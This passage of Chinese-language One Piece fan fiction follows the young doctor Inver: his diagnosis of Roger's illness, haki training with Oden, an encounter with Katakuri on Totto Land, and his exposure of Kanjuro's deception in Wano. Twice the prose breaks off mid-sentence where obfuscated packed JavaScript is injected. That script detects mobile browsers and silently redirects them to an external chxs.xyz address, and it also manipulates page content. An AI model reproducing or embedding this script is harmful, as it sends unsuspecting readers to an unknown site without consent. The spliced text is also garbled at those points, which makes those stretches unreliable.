中途有年龄大的孩子轮班出去工作,也有孩子去隔壁的教室学习回来。 他们都缠着想听更多关于茵弗的事。 香克斯回头,发现故事的主人公不知道什么时候离开了。 那个大人鱼——帕苏斯妈妈,传达说他晚点再来找他们。 香克斯好像能想象到茵弗说这话的时候,笑眯眯地靠着门看他们和一群小鱼人玩耍,然后化在阴影里的样子。 - 阿龙的新办公室是挺黑的。 倒不是不点灯,只是确实房间不小,光线照不到每一寸角落。 “说真的,只要小小收拾一下,不就有一间完美的办公室了?不比修一间新屋子省钱?我还没走呢您就开始败家...这就是您的选择吗?” 阿龙嗤笑一声,接过茵弗玛利递过来的最后一沓文件收好。 “我要给你收拾的烂摊子已经很多了,别想骗我给你整理那个被叫做工作室的垃圾场。” 泰格听着他俩拌嘴哈哈大笑:“别听这小子的,茵弗医生,他等着你还能下次回来呢。” “泰格先生~您最好了。我不在您可要多骂骂小蓝这个脑子里全是鱼泡的可怜家伙!” 茵弗夸张地扶额,向后仰倒在甚平身上。鲸鲨鱼人笑哈哈地接住他,把他再立起来。 阿龙深吸一口气,嘴角扬起,露出满嘴尖牙。 “放心滚吧,人类。” 茵弗笑着应了一声,在阿龙等待被填满的空房间里做了个侧空翻。 腿撞到门框上了,痛死。 32.可以听清的 新世界从来都不会以灿烂的阳光和绵软的清风迎接它的客人,杰克逊号的红帆铮铮作响,随着翻涌的波涛起伏。乌云席卷,不过以贾巴的经验扫一眼就知道不会出什么事。 “我以为你和乙姬王妃的告别会更...嗯...” “更...?” 贾巴磨着自己的斧子,想着该怎么表达自己的意思,身旁的小狐狸盘腿坐着,给皮塔姆之前送他的那把手枪上上枪油。 “总之感觉很平淡的样子,明明她比雷利还像个老妈一样溺爱你。” 茵弗手上没停,只是抬头瞟了一眼确定雷利不在附近,难怪。 “我和乙姬殿下心有灵犀~不过,如果您想像雷利先生一样多''溺爱''我一点,我不介意。” 贾巴笑了两声,这几个月他也挺想这个说话不着调的小家伙的。 保养武器的两人慢悠悠做着自己的事,没有让四周的摇晃影响自己。茵弗离那个风大一点,就不能上甲板的日子好像很遥远了。 “心有灵犀?你的能力和她到底还是一样的?” 茵弗摇头:“不是,但是共通之处很多,我也确实见闻色上手很快。” 贾巴犹豫了一下,还是问出口那个大家都很挂念的问题:“咳...所以你掌握的不错?罗杰...” 茵弗顿住手,将卷好的麻布从枪管里抽了出来,再次组装好,对着天边瞄准了几下。 “嗯...我确实听得差不多了,还会受影响,但是可控。就像乙姬殿下没法完全不与所听到的声音共情,我也是一样的。” 他正式回杰克逊号上的第一件事就是把罗杰拉到医务室,然后确认了他的状态。 他终于能迈过那些缝隙,拒绝那些低语,仔细地探向那个试图将他碾碎的深渊。他没有破碎,没有灼烧,在那些阵痛中发现了如心跳般的频率。 很糟糕。 比他不能完全听明白时所预估的还糟糕。 贾巴见他避过了问题,心里感到些许酸涩。他也收起磨刀石,摸了两把茵弗的头,努力用轻松的语气说:“没关系。世界上总有没法治好的病。” 茵弗干巴巴笑了一声:“也许您是对的。” 但是最大的问题不在那里。 那个深渊,那个黑洞,那个不满足,不知足的怪物,其实诞生与罗杰。 茵弗起身,对疑惑的贾巴伸出手:“请跟我来,先生,也叫上雷利先生吧,我在跟库洛卡斯先生示范时发现了一个非常直观的展示方法。” 罗杰的左右手面色凝重地坐在医务室里,面前的小医生支起一个架子,取来了水和纸。 “请问罗杰先生打架有什么习惯?” 习惯? 随性肆意,想打就打,冲在船员前面,拼尽全力,霸气不要钱一样地乱用.... 茵弗打了个响指,“就是这样。” 不论什么能力,过度消耗之后带来的乏力与后遗症其实对人的压力很大,只是勉强恢复之后就奔向下一个战场,只是在不断透支自己的生命力。 库洛卡斯曾经就不断对他的这个习惯感到头疼,每次战斗后都竖着眉头把罗杰按在医务室的椅子上。 “霸气更是如此,经过我的学习,我深刻体会到它是如何的''敏感''。不论是强度还是感知,我们都在消耗大量的力量和精神力去运用它们。不管一个人多么强大都是一样的。” 他抖了抖那张白纸,“人的身体在健康时的''安静''就像是这张白纸,出现任何的反馈,您们都可以把它想象成其上可以被我窥见的颜色。” 他随便拿过一只笔,在上面画了几个丑陋的圈。 “这是''疾病'',它可以被清除。” 纸被卷成了一个漏斗一样的形状,放在架子上,里面倒入清水。 “这是一个人所承载的''生命力''它可以被补充——”漏斗底部被剪开一个小口,“也会因为过度透支而流失。” 水一滴一滴地落入承接的水盆,在医务室里宛如钟表的倒计时一样回响。 水滴的漏速不断变快,间隔越来越短,直到淅淅沥沥的流淌,承载的水快速减少。 茵弗慢慢地,一点点地把底部的开口剪的越来越大。 “就像是白胡子先生的旧伤,罗杰先生这二十几年来的厮杀也也形成了它的''声音'',就是这不停歇的水流。” ''压死骆驼的最后一根稻草'',总会有那么一根稻草。疾病让他的''绝症''彻底爆发了。 在雷利和贾巴难看的脸色里,茵弗开始往漏斗里注水。 “我和库洛卡斯先生可以用药物为他提供生命力,或者说焕发生命力。但是,您们明白吗,先生,问题太多了。” 他指指纸上仍然存在的,画上去的''黑斑'',指指即使他在注水,水位也没有多大变化的漏斗,指指因为不断地水流变化而逐渐变软边脆的纸。 罗杰生病了仍然不断冒险,战斗,那是他的盛大。 就像茵弗说的,从第一次''听''到他的病痛,他所看到的就是一个深渊。 他停下这个已经是第二次做的展示,这次的观众并不比第一次的观众情绪好。收拾好用具,将那张纸丢掉,他一左一右地牵上贾巴和雷利的手,低下身子将它们放在自己的额头上,叹了口气。 勇敢点,茵弗玛利。 “我不喜欢您们这么担心的表情,先生们。我会努力,让您们的冒险至少还能继续很久很久。” ''世界上没有治不好的病''。 他不断提醒自己三岁起就是希鲁鲁克的学生。 贾巴真心希望如此,但是他没有回答。 - “那么在下以后就是您的学生了!” “噢噢噢!交给在下吧小阁下!” 雷利有点无语地看着那边热血沸腾的一大一小,学做关东煮而已...至于吗?不过看茵弗干劲十足地洗魔芋的样子还是让他勾了勾嘴角。 知道了罗杰的身体情况之后他心情并不好。看到罗杰嘻嘻哈哈的样子心情更不好了。 除了对自己兄弟的担忧,他不希望茵弗那么累,库洛卡斯说在鱼人岛的这段时间他损耗的太多了。正是长身体的年纪,缺少睡眠,不好好吃饭,过度消耗精力...他自己又何尝不是个漏斗。 他们当然都很感激,但是茵弗越在意,罗杰越不在意,雷利就越担心罗杰成为茵弗的下一个米森玛丽。 鱼人岛上的两块历史正文给了他们新的线索。红色的历史正文是一块路标的拼图,只要集齐剩下的,他们就能去往最终之岛。 雷利希望他们能早点发现其中的秘密,然后也许他能说服罗杰好好地休息一段时间。为了茵弗,为了船员们,为了罗杰自己。 “您好像很忧虑,雷利阁下。” 光月时也坐在他的身旁看着厨房里忙碌的二人,臂弯上抱着咿咿呀呀的日和,正在和两岁的哥哥说话。 “你好像不怎么忧虑,时夫人。” 光月时笑了:“在下和御田已经商量好了,既然茵弗小阁下说在下的身体不适合继续在海上航行,那么在下会在和之国等他回来的。” 雷利嗯了一声,轻轻晃着杯子里的朗姆酒,冰块撞击杯壁发出清脆的声响。御田和茵弗两个人咋呼呼地闹,耳边是桃之助有点哼唧的童言。他关注着这些声音,也许茵弗喜欢听各种声响来放松自己的方式还挺好用的。 小医生能力的运用熟练了很多。 他在答应御田为他妻子听一听身体的诉求之后只是简单地握住她的手,就听出来了时夫人的状态,还有她吃了恶魔果实的事实,即使他不知道是什么能力。 雷利弄不明白为什么他能''听''到恶魔果实。茵弗在听到他的询问后只是耸肩,说他曾经也不知道自己还能听出来一个人的强大呢。 大概每个人都像这杯酒,这片海,波涛翻涌间,他能听见浪花破碎的声音罢。 他不在船上的这段时间真的成长不少,即使他说什么自己就是去当了个医生。 事实上就是,他学会很多新的知识,知道了如何保养使用枪支,他可以不受太多影响地运用能力,甚至成了鱼人岛皇族的合作者。 他很擅长学习,很擅长思考,也许是在磁鼓岛足不出户的日子带来的。也许在那之前,在他质疑神赐给他姐姐的命运的时候就开始了。 他好像一下子长大了不少,这让雷利觉得骄傲,也有点寂寞。 桃之助:“在下也等父亲大人!” 雷利想到茵弗曾经也一直在等,不推不动地等一个前进的理由。 罗杰是他的理由吗?他们都代替了希鲁鲁克,成为他的推力了吗?如果罗杰...不能成为这个理由了呢? 他喝了一口酒。 光月时摸摸儿子的头,换了个话题:“茵弗小阁下很优秀,他给了在下很多神奇的药,近日的胸闷已经好多了。” 雷利点点头,他看到茵弗偷偷往锅里丢药材了,所以对今天关东煮味道的期待少了一点。 - 茵弗玛利当然不止准备跟着御田把自己做关东煮的手艺练的炉火纯青——他就知道这是一种很适合做药膳改良的食物——他还准备跟着他学武装色霸气。 在和之国,武装色被称为流樱,因为大部分会使用的人都是流动外放的好手。 御田更是一个霸气使用的佼佼者,甚至双刀中的其中一把''阎魔'',还是一个会吸食使用者霸气的妖刀,一般人根本无法降服。 他想起自己曾经在跟巴//雷特学武装色时一闪而过的好奇,他强度上超不过巴//雷特,可是能把对方的''声音''弹回去吗? 而在御田一次和贾巴切磋时,他看到了,一层无形的''气'',将贾巴的斧子接下弹开。 他对御田一家很亲近,不止是因为猫蝮蛇和犬岚很可爱,更是因为莫比迪克号上那个对他颇为照顾,给他化妆时在他手背上勾勒樱花的漂亮武士。 所以他没有收时夫人递过来的诊费,他只是告诉御田:“以藏阁下很想您,请在下次见面时给他一份礼物,表示您们也想着他吧?” 御田认真地点了点头,并爽快地同意了茵弗想要他教导的请求。 于是继巴//雷特不守师德地跑了之后,他再一次有了武装色霸气的老师。 能力使用地更加熟练,他曾经对一个人使用霸气时声音变化的模糊感知也变得清晰。 只是可惜他听不到自己,不过可以他在御田一遍遍示范时将手搭在对方身上,仔细地倾听,然后模仿。 在训练时,茵弗不只用刀,他用枪,用拳头,用不同的方式去试着流动缠绕自己的霸气。 而且面对比自己强的人,他不介意动一些歪脑筋。 久违的和人专门训练武装色霸气也勾起他曾经的癖好:对着揍自己的人讲烂话。 御田是个有趣的家伙,热情不羁,爱跟他们这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837235|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小家伙戏耍,但是稍微有点死脑筋。 所以很多时候他脑袋转不过来,又说不过他,就岔开双腿讲一些什么“小阁下小小年纪居然思想如此顽劣!下手如此歹毒!” 他就当做是夸奖了。 如果对方再念叨什么武士精神,茵弗就会吐舌头回嘴说“可我不是武士。” 然后御田就会像第一次意识到这一点一样很受打击,也很好玩。 不好玩的是很尊崇御田的猫蝮蛇和犬岚这种时候会很替对方不平,气哄哄地不理他,无论他拿多少零食哄都不让他卡鲁秋。 给罗杰送药的时候他问他为什么委屈巴巴的,在听到茵弗的回答之后翘着胡子狂笑了一顿,然后在小医生的哼唧中把他举到肩上说吃点甜食,耍一耍心情就好了。 他可不会去抢自己红发弟弟的巧克力。 罗杰摇摇头,神秘兮兮地把他带上甲板,远远地指着海岸线上迷糊能看见的岛。 上面有一个巨大的...甜甜圈? - 托特兰是大海贼BIG MOM,也就是夏洛特·玲玲的领地。 BIG MOM嗜甜,对甜点具有接近疯狂的执念。而托特兰就是以蛋糕岛为核心,周围有多个岛屿星罗棋布的分散坐落在附近,每一座岛都有自己的特色,都为他们的女王服务。 糖果岛、奶酪岛、坚果岛...而茵弗所踏上的这片土地就是负责优质面粉产出的小麦岛。 罗杰海贼团来这里是因为收到了BIG MOM手里有路标历史正文的消息。 毕竟是溜到敌人的领地,安全的原因,不会所有的人都下船。茵弗本来也是其中的一员,但是他真的很好奇那个甜甜圈是真的假的。 知道他是罗杰船上的人不多,他也没有通缉令,加上满脑子冒险的船长不正经的怂恿,雷利最后只是叹了口气,告诉他不要乱跑,最多去街上转一圈,然后就去等着桑贝尔接,也不要去蛋糕岛。 茵弗跳上桑贝尔的背的时候好像点头了,好像没有,管他的,游过去也太帅了。 哇,好香。 上岛的一瞬间他就把他感兴趣的大甜甜圈抛之脑后。面包脑袋怎么能拒绝的了“小麦岛”这种诱惑的地方? 他直奔一个挂着巨大碱水包和法棍造型的店铺,套着个不显眼的袍子,飞速地往托盘上堆吐司。 白吐司、全麦吐司、南瓜吐司、巧克力吐司... 米森啊...你来接我了吗?我好像看到了金色的拱门...哦只是餐柜的打光... 神呐还这么便宜! 缺钱太久的小医生泪流,又往已经快要倾倒的吐司塔上加了几块看起来带着彩色漩涡的家伙。 付款,打包,他的眼睛随着店员的手在托盘和牛皮纸袋间移动...八...七...六...好的... 夹子陷入松软中,纸袋晃动间发出一点充实的格拉声...三..二...一!! 在小麦的香气里,茵弗笑容灿烂地伸手,准备抱过那一大包美好... “啊啊啊啊啊———!” “是卡塔库栗大人———!” 啪嗒、 店员手一松,店里的顾客都涌向门口,他感到自己的心也随着滚落出来的吐司们,一起被脚步匆匆的人群踩瘪了。 谁啊????!! - 推特兰的岛屿都是由“大臣”们监督管理,而这些“大臣”,正是她的亲生孩子们。 她二十二岁的次子夏洛特·卡塔库栗,正是小麦岛的面粉大臣。 ''完美的男人,未尝败绩,后背从不着地——即使是睡觉,一出生就站起来,女王陛下的将星...'' 茵弗混在人群里,只分了半只耳朵听那群激动的居民们的交谈尖叫,严肃地盯着这个害自己损失了三块限量款吐司的苋红色大高个。 他在琢磨着怎么让他赔自己。 难道他还能去为难那位已经足够有道歉诚意的店员吗? 虽然因为''太崇拜卡塔库栗大人,下意识就想冲过去忘记自己在工作''这种理由他觉得自己投诉也是合理的。 不过拜托,王子诶,肯定很有钱吧。 他在鱼人岛花光了所有的积蓄,罗杰的治疗卡在一个不上不下的位置,虽然雷利有给他钱,但是远远不够,他还想看能不能弄到自己想要的恶魔果实呢。 更何况,如果BIG MOM真的有船员们说的那么爱吃甜食,她的孩子们应该也能理解他在痛失第一次见到的美味吐司时的悲痛吧? 所以这合理吧?这不算乱跑吧?他在街上啊?离蛋糕岛远着呢。 嗯不过... 这家伙穿衣风格真是酷炫,这么多皮,那么多刺儿。哇塞粉色纹身?炫的嘞。 脸上围着个黑白相间的围巾不热吗?明明敞着夹克... 等等。 作为一个医生,他当然对各种伤口留下的痕迹很敏感。 那个围巾下露出来的一点,是缝合线吧? 唔...这个长度宽度的话..还有缝合走向... 他拉拉身旁一位激动女士的衣袖,刚要在喧闹中大声开口—— 一根三叉戟砸到他面前,茵弗抬头对上一双同样苋红色的眼。 ? “不关你的事。你是谁?” ''他下颚撕裂过吧,一直延伸到嘴部附近有伤疤?'' 诶??? 33.三块路标 “额...我是来找您要赔...” 不过看卡塔库栗挑眉的样子,他大概又已经知道自己要说什么了。 怎么回事? “你跟我来。” ...只要不离开街道雷利就...糟了离开街道了... “先生,我们可以..” 卡塔库栗脚步一顿,拐到旁边的巷子里。 好吧他又知道了,至少他同意不再继续往远走了。 “您能不能不要偷听我接下来要讲什么话,这样很没意思诶。” 茵弗也也不在意怼到他脸前的三叉戟,从抱着的牛皮纸包里随手拿出一个吐司开始往嘴里塞。 面团揉得很好,软软的但是有嚼劲,酥脆香醇的杏仁片让他飘了点小花。 太好吃了吧? 卡塔库栗看到面前的小矮子啃着吐司,很是喜欢的样子,也有点骄傲。 他管理小麦岛这几年可是下了苦功夫的,出产的甜甜圈不说,就算是吐司这种没什么甜味的东西看来也很成功。 年轻的面粉大臣挺挺胸膛。 “你是谁?” “我是因为您太帅气损失了三个限量吐司的可怜人。” “别耍花招。” 话说这么大个三叉戟他从哪掏出来的,刚才好像没注意。 茵弗下意识的伸手在对方露出来的手腕上摸了一把,然后抬起胳膊用武装色挡住袭来的三叉戟。 行行行,他剩下的吐司也被掀到地上了。 “恶魔果实?不过听起来闷闷的...怎么会知道我想说的话?我还以为读心的话声音会不一样一点。” 卡塔库栗不知道这家伙在说什么,简单的两下攻击也被对方挡下,武装色和见闻色都不弱。不是这里的居民,可是这两天没有什么值得注意的船只入港。 不过... “你不知道我?” 原来是自恋型的?不像啊?而且那不应该更把伤疤露出来了吗?''海贼的伤疤是勇气的勋章''什么的。 “我知道您是卡塔库栗先生,托特兰的王子,什么完美男人出生就站着也是不太可能的感觉...婴儿在刚出生时骨头还没结实到那种程度,而且接生的人难道是直接把王子扔地上了吗?” 他又躲过两次攻击,在墙上踢了一下借力跃起,腿上却快速地被什么白色的东西固定住了。 是这家伙的能力? 茵弗迅速拔出手枪,知道子弹会被卡塔库栗躲过。不过他趁这个空隙用武装色震开了腿部的禁锢,矮身躲开刺过来的三叉戟,通过翻滚拉开些距离。 那些白白的东西延展性很好,很麻烦。 “您为什么在攻击我?只是三块面包,虽然是限量款但是我以为王子殿下会很有钱的...” 卡塔库栗简单试探了几招也就收回手。 不弱的家伙,但是打不过他。 所以他只是用糯米把整个小巷封住,避免这小子逃跑。光线昏暗了点,不过对方的兜帽在这一会也掉了下来,最明显的就是深色的皮肤和浅金的头发,扎着个小马尾,年龄不大。 茵弗没在意他审视的目光,见卡塔库栗没有继续打的意思了就偏过身子开始研究四周白白的东西,手感有点熟悉...戳一戳会慢回弹,闻起来好像有一点点的甜香... “...年糕?” 然后他试着挖一块下来塞到嘴里。 真是方便的能力啊,如果消耗小于摄入的话岂不是永远都饿不死了? 到底该怎么让罗杰消耗小于摄入... “话说您真的不躺下睡觉吗?虽然是可行的但是我身为一个医生还是强烈的不建议您这么做。非常伤身体的。” 他稍微有点嘟囔,真的是年糕,还挺好吃的。 医生? 卡塔库栗挑眉。 “所以你才知道...?” 可是他怎么知道是撕裂的?位置也很清楚。 居民们就算有注意到也只是认为是战斗留下的刀伤或者什么。 茵弗点点头,又开始扣墙上的糯米。 “您要是不喜欢我可以帮您消了,以这座岛上的气候来看,毛茸茸的围巾真的看起来很不舒服,不过您还没赔我钱呢。而且我师从磁鼓岛魔女,诊费不低。” 说得什么乱七八糟的...卡塔库栗蹙眉。 不过...消疤?磁鼓岛确实医疗水平很出名。 “...很久的伤呢?” 茵弗仔细端详他面部露出来的部分。 “嗯...您能让我摸一下吗?” 卡塔库栗下意识抗拒了一下。不过,如果自己这种都能消掉的话,那布蕾的应该也... 于是他蹲下身,算是一种默认。 茵弗凑过去,攀在卡塔库栗身上顺着那道凸起摸了几把。嗯...嗯...? 卡塔库栗有点别扭,那只手从自己脸上露出的部分抚过,又顺着颧骨摸到耳后。 没开口询问,这小子就跳了下去,歪着头打量他。 他用了一下见闻色,然后下意识抬手摸上围巾,确认位置没有被对方拉下来过。 同时,茵弗开口: “您...遮住脸不是因为脸上的疤?” 他比划了一下自己的鼻梁,颧骨,手指一直勾划到耳后,顺着下颌线抚到下巴的位置。 “您的骨头构造摸起来,应该是牙齿会外露,有点类似很帅的那种獠牙的感觉?但是摸不全我不确定具体——” 卡塔库栗确信这家伙是医生了,虽然他没见过能靠摸一下就知道他面部构造的医生,但是能摸出来的一定是一位。 “跟你无关。” 茵弗抬手做了个投降的手势。 “抱歉,失礼了。不过关于您的缝合线,我可以帮您消掉,完全的话可能困难一些,但是您能接受只是看不太出来的话,我正好之前做了很好用的祛疤膏。” 茵弗从斜挎的药箱2.0里翻出从鱼人岛带回来的奶白色霜膏,打开给卡塔库栗看了一眼。然后挖出一点,拉起衣服涂在自己为了试验效果而变得一半深一半浅的巨大刀疤上。 “喏,效果很好吧?不是什么毒药。” 卡塔库栗看了眼,确实效果不错的样子,有点犹豫地伸手接过,“所有的伤疤都能消掉吗?” 茵弗嗯了一声:“但就像我说的,想一点痕迹没有的话有点困难,特别是时间太久的,还是动手术比较好。您的怎么也有十年以上了吧?不过缝合得很好呢。” 他绕过卡塔库栗,到一开始站的地方,慢慢收拾起一地的吐司。只是脏了点还能吃,至少没被踩碎...连着他的心一起。 王子了不起啊...! 茵弗露出完美的笑容:“承蒙惠顾,王子殿下。起床睡前涂两次,按摩吸收。独家秘方十万贝利一罐,算上您该陪我的钱,诊费,算您二十万贝利不用找了。” 不过卡塔库栗居然真的有些尴尬的摸摸自己的口袋:“额...二十万的话...” 这下倒是茵弗有些意外了。如果对方遮住脸不因为,或者不完全因为这个伤疤的话,完全没必要这么重视吧? “您真的很讨厌这道疤啊?我以为十万一罐您会觉得离谱呢。” 毕竟他随便说的。 卡塔库栗点着手里的钱,一个个顺着夹克上的口袋摸来摸去——出征给弟弟妹妹们带的礼物应该还有剩余... 听到茵弗的话,他摇了摇头。 “试过很多方法都没什么用——”他顿了一下,还是开口说道: “她背负这道疤太久了。” 茵弗捧着牛皮纸袋,盯着他递过来几块财宝和贝利的大手看了一会儿。 卡塔库栗轻咳一声,“不够的部分我再去城堡取。”说完就撤下围堵着小巷的能力,算是和平的信号。 茵弗抖抖睫毛。 “...姐姐?” 卡塔库栗:“...妹妹。” 王子...了不起啊。 “算了...反正是还没有正式生产的药膏...”茵弗习惯性地想摆手,一道噗噜噗噜噗噜的声音传来,空闲的手转而摸出兜里的电话虫。 “喂您好—” “小黑!!到手了!走——” 茵弗立马挂断。 让卡塔库栗知道他们刚偷了他妈妈的历史正文他就完啦!完啦! “额、总之,还没正式批量生产,所以给您打个折。”他将手指覆盖武装色,随便扯下卡塔库栗手腕上众多带着尖刺的皮手链之一,“就这个吧!当托特兰的纪念品,王子的首饰听起来就很厉害!” “好了就这样,如果没有完全消除的话,您妹妹想做手术找我给她优惠!” 他一边说一边快速倒退到巷口,然后头也不回地向来时的海岸跑去。 卡塔库栗将那罐祛疤膏和钱一起揣回口袋里,搓了搓手腕,准备去找布蕾。 小黑是什么名字? 刚抬脚,他口袋里也传来了噗噜噗噜的声音,熟悉的波点纹和礼帽浮现。 “佩罗斯大哥?” “卡塔库栗!现在立刻离港拦截罗杰海贼团!他们拓走了妈妈的历史正文!” 卡塔库栗一惊,立马向港口赶去:“妈妈那边——” 电话虫那边传来了熟悉的怒吼和尖叫声,佩罗斯佩罗的语气也颇为慌张,熟悉的口癖都不念了:“妈妈思食症犯了!我们走不开蛋糕岛!快去!!” - 茵弗回到船上的第一件事就是把自己幸存的吐司好好收到厨房里。 也因此勉强避免了和卡塔库栗再在海上打照面的尴尬。 不过在他们终于平安离开托特兰范围之后,他一边咬着巧克力吐司,一边时不时撕下一块塞到香克斯嘴里,听他们闲聊的时候下意识冒了一句:“原来是很强的见闻色啊,我还以为他会读心什么的呢,明明是年糕的恶魔果实。” 雷利犀利的眼神一下就转向他:“你和卡塔库栗对上了?” 糟了。 “我没乱跑!而且不算对上!就、医患交流。” 雷利捏着鼻梁叹了口气:“算了,也是忘记告诉你小心点,没想到他不在蛋糕岛,BIG MOM要办茶话会的期间一般是把孩子们都招过去的。” 茵弗松了口气,拍掉香克斯伸向某块吐司的手——蓝莓的他肯定不爱吃的啦——然后递给巴基。 “BIG MOM有几个孩子呀?他说他有妹妹呢。” 雷利眯着眼睛瞅了他一眼,说了个数字。 茵弗有些惊讶,又询问了一下这位女士的年龄,估计了一下。 就算18岁开始生育,也生过很多次多胞胎啊...体质原因吗?还能这样? 和不同种族生孩子,去父留子,然后让他们成长起来成为自己海贼团的核心力量...想要建立一个收集了所有种族的乌托邦——难怪叫托特兰,万国(total land)的名字也是很恰当... 雷利干脆把BIG MOM海贼团的一些信息全都给这小子讲讲,省得他下次再闯什么祸。她那一家可都是疯子。 茵弗:“所以他们生下来就是海贼啊...嗷呜!” 雷利收回拳头:“重点不是这个!总之,这次趁着她思食症犯了没惹出什么太大的麻烦,以后如果再遇见...” 茵弗点头答应,心里却想着自己哪天还能再回来转转呢?这个奇怪的地方,一个海贼拼凑的童话? 为什么?为什么?为什么? 真是、太让人好奇了。 - BIG MOM手里的历史正文是拿到拓本后回船上解读的,因为有了时刻可以拿出来读的机会,茵弗趁这个机会询问御田是否可以教他阅读古代文字。 他倒是没想到解读历史,只是能学会什么密码语言很帅,这对他这个喜欢读各种东西的人来说真是魅力十足。 御田同意了,不过他们石匠一组的传承也是一代代积累下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846714|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,所以茵弗完全学不明白。加上只有一份拓本可以参考,他只是勉为其难地记住了几个字是表达什么意思,试图在御田有些抽象的讲解中找到某种联系。 他跟着一起读了在和之国找到的第三块路标。仍然弄不懂,不过他做了笔记,模仿着那些线条复杂的方块字。 时夫人和子女一起下船了。在离开前他们在御田的府上做客,小住了一阵,顺便逛逛和之国。 和之国利用天然动植物的医疗方式让他很亲切,花了不少钱买了很多这里独有的草药。 库洛卡斯吐槽说他就没见过买药跟买柴火一样的家伙,不过看茵弗脸上严肃的神情也只是叹了口气,默默地帮着一起搬。 因为季节原因茵弗没看到以藏说的大片樱花,但是见到了他的弟弟小菊,也是位美丽的人。在传达了以藏的思念之后,对方交给他了一个漂亮的御守作为感谢。 和之国的纪念藏品也就到手了。 小豆年糕汤很好吃。 御田的小弟里面有一个叫堪十郎的家伙''听''起来很奇怪。虽然他们说是忍术什么的,不过茵弗听到了,他吃过恶魔果实,应该跟画画的有关。然后他会念一些忍词。 很差的画技逗得香克斯他们哈哈笑。 让茵弗更在意的是,对方明明很健康,在握手时他却能听到什么黏腻灰暗的声响,隔着一层膜在燃烧。 他是''病''着的。 不是传统意义上的病,茵弗没有遇见过这样的情况,所以他友善地笑着,试图观察出这个灰红色长发的家伙身上的违和。 然后他发现了,这家伙,是右撇子。 为什么用左手画画? 他试着以各种理由接触堪十郎,小菊他们调笑说难得有人这么喜欢贴着这个曾经会割人头发的家伙,茵弗阁下务必小心呀。 他当然很小心。 然后在他们临行前的那个晚上,沉睡的堪十郎的''声音''消失了。 茵弗把假装在睡梦中不小心搭上堪十郎的手收回,慢慢坐起身子。 夜深了,他听到虫鸣,听到身边榻榻米上的众人的呼噜,听到遥远的群山里野兽偶尔的一声嚎叫。 他听不见堪十郎的声音。 世界上没有100%健康的人,无论多么安静,现在的他都能听出来这种不同。 而堪十郎就像死了一样,或者说他不是一个有生命的物体,也没有感情给他灵魂。 睡在一旁的传次郎感到室内的一丝不适醒来,就看到和御田大人一起回来拜访的客人之一,据说是照看了时大人的身体一段时间的小医生阁下,面无表情地蹲在熟睡的堪十郎身边,手还虚虚地握在他的脖子上,就好像要扼死他一样。 传次郎大惊,刚要起身开口问询,对方就扫了他一眼,淡金色眼眸里的冰冷刺得他一寒,手指压上嘴唇,对他比了个噤声的手势。 他在茵弗的示意下悄声挪到堪十郎旁边,有些疑惑地也把手搭在他的脖子上。堪十郎还打着呼噜,没有注意到他们两个,也没有醒来的迹象。 然后他听到了真正让自己如坠冰窟的两句话: “感觉到了吗?他没有脉搏。” “您们不是家人吗?” 他们到隔壁叫醒御田,在临近破晓时捉到了悄悄从阴影中赶回的,真正的堪十郎,屋里被捆住的家伙不过是一个画出来的假人罢了。 堪十郎真正的作品。 骗子、叛徒、武士之耻。 后续发生了什么茵弗没太在意,好像牵扯到康家大名家的一个杂役,据说堪十郎战死后化成了一个黑色影子般的泥沼怪物,那大概就是他听到的东西。 他们的出航推迟了一天。 茵弗靠在船舷上,手里捻着一缕,他割下来的,堪十郎的红发,琢磨不明白他当初那场戏选择了这个举措的意义。 为什么?为什么?为什么? 也许没什么意义。 御田以最快速度处理了这件事,并在其余家臣的担保中再次回到船上,第一件事就是找到在船舷边百无聊赖的茵弗,真挚地感谢。 “不,我只是不喜欢他践踏了以藏阁下的思念。” 杰克逊号的船锚被拉起,他在微风中松开手—— “记得我们的约定,御田阁下。” 那缕颜色不纯的红色长发随风散去了。 - 最后一块路标历史正文是在佐乌找到的。在这儿没发生之前几次那么戏剧的事。 这里是皮毛族的领地,猫蝮蛇和犬岚的故乡,栖息在一头五千米高的巨象之上。 茵弗喜欢这个地方,也不喜欢这个地方。 一方面,卡鲁秋真的是很好的文化,尤其是对于他这个喜欢肢体接触的家伙来说。 另一方面,象主,是活的。 在海里行走了几百年,痛苦的巨象。 罗杰可以听到它在说什么。御田好像也可以?茵弗听不懂,他只能听到它身体里巨大的哀鸣。 为什么痛苦?为什么赎罪?为什么徘徊?断断续续地他听到罗杰和象主的对话。 为什么他治不好罗杰? 掌握能力,学习霸气,了解恶魔果实。不同的道路曾在他面前铺开,他努力地去走了,一道都走不通。那些可能性在他眼前变得越来越狭窄,他快想不到能拓宽它们的理由了。 不过世界很大,总有他不知道的药材,总有他没看过的医书,不了解的知识...他必须勇敢。 雷利安慰他说,至少罗杰的情况没有继续变差,但是他能听到,那一滴一滴逝去的水流。 他戴上很久没戴过的手套,窝在罗杰怀里,一下一下地用耳朵数着对方的心跳。 这算什么茵弗玛利? 罗杰布满茧子和伤疤的大手自然地摸上次他的头,嘴里还和别人说着话。 等他醒来,他们已经离开佐乌了,杰克逊号与象主背道而行。 四块路标,一条指引。 他们要去最终之岛。 34.如果樱花不能盛开 茵弗不见了。 一切都发生得很快,太快。上一刻大伙还沉浸在集齐路标历史正文的愉悦里,下一刻巴基就病倒了。 